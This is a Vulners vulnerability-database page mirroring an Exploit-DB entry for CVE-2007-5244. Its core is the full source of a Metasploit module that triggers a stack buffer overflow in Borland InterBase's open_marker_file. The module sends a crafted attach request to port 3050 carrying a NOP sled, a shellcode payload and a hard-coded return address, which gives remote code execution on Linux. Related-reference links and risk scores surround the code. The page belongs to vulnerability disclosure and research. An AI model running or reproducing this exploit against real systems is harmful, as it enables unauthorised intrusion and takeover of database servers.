Lucene search
K

Borland Interbase 2007/2007 SP2 - 'open_marker_file' Remote Buffer Overflow (Metasploit)

🗓️ 03 Oct 2007 00:00:00Reported by Adriano LimaType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 32 Views

Borland InterBase 2007/2007 SP2 open_marker_file Remote Buffer Overflo

Related
Code
ReporterTitlePublishedViews
Family
Circl
CVE-2007-5244
3 Jul 201000:00
circl
CVE
CVE-2007-5244
6 Oct 200717:00
cve
Cvelist
CVE-2007-5244
6 Oct 200717:00
cvelist
Exploit DB
Borland Interbase - 'open_marker_file()' Remote Buffer Overflow (Metasploit)
3 Jul 201000:00
exploitdb
exploitpack
Borland Interbase 20072007 SP2 - open_marker_file Remote Buffer Overflow (Metasploit)
3 Oct 200700:00
exploitpack
Metasploit
Borland InterBase open_marker_file() Buffer Overflow
4 Oct 200703:03
metasploit
NVD
CVE-2007-5244
6 Oct 200717:17
nvd
Packet Storm
Borland InterBase open_marker_file() Buffer Overflow
27 Oct 200900:00
packetstorm
Prion
Stack overflow
6 Oct 200717:17
prion
Prion
Stack overflow
22 Apr 200804:41
prion
Rows per page
##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'		=> 'Borland InterBase open_marker_file() Buffer Overflow',
			'Description'	=> %q{
				This module exploits a stack overflow in Borland InterBase
				by sending a specially crafted attach request.
			},
			'Version'	=> '$Revision$',
			'Author'	=>
				[
					'ramon',
					'Adriano Lima <[email protected]>',
				],
			'Arch'		=> ARCH_X86,
			'Platform'	=> 'linux',
			'References'	=>
				[
					[ 'CVE', '2007-5244' ],
					[ 'OSVDB', '38610' ],
					[ 'BID', '25917' ],
					[ 'URL', 'http://www.risesecurity.org/advisories/RISE-2007002.txt' ],
				],
			'Privileged'	=> true,
			'License'	=> MSF_LICENSE,
			'Payload'	=>
				{
					'Space' => 512,
					'BadChars' => "\x00\x2f\x3a\x40\x5c",
				},
			'Targets'	=>
				[
					# 0x0804cbe4 pop esi; pop ebp; ret
					[
						'Borland InterBase LI-V8.0.0.53 LI-V8.0.0.54 LI-V8.1.0.253',
						{ 'Ret' => 0x0804cbe4 }
					],
				],
			'DefaultTarget'	=> 0
		))

		register_options(
			[
				Opt::RPORT(3050)
			],
			self.class
		)

	end

	def exploit

		connect

		# Attach database
		op_attach = 19

		length = 1056
		remainder = length.remainder(4)
		padding = 0

		if remainder > 0
			padding = (4 - remainder)
		end

		buf = ''

		# Operation/packet type
		buf << [op_attach].pack('N')

		# Id
		buf << [0].pack('N')

		# Length
		buf << [length].pack('N')

		# It will return into this nop block
		buf << make_nops(length - payload.encoded.length - 4)

		# Payload
		buf << payload.encoded

		# Target
		buf << [target.ret].pack('V')

		# Padding
		buf << "\x00" * padding

		# Database parameter block

		# Length
		buf << [1024].pack('N')

		# Random alpha data
		buf << rand_text_alpha(1024)

		sock.put(buf)

		handler

	end

end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Oct 2007 00:00Current
6.7Medium risk
Vulners AI Score6.7
CVSS 29.3
EPSS0.79324
32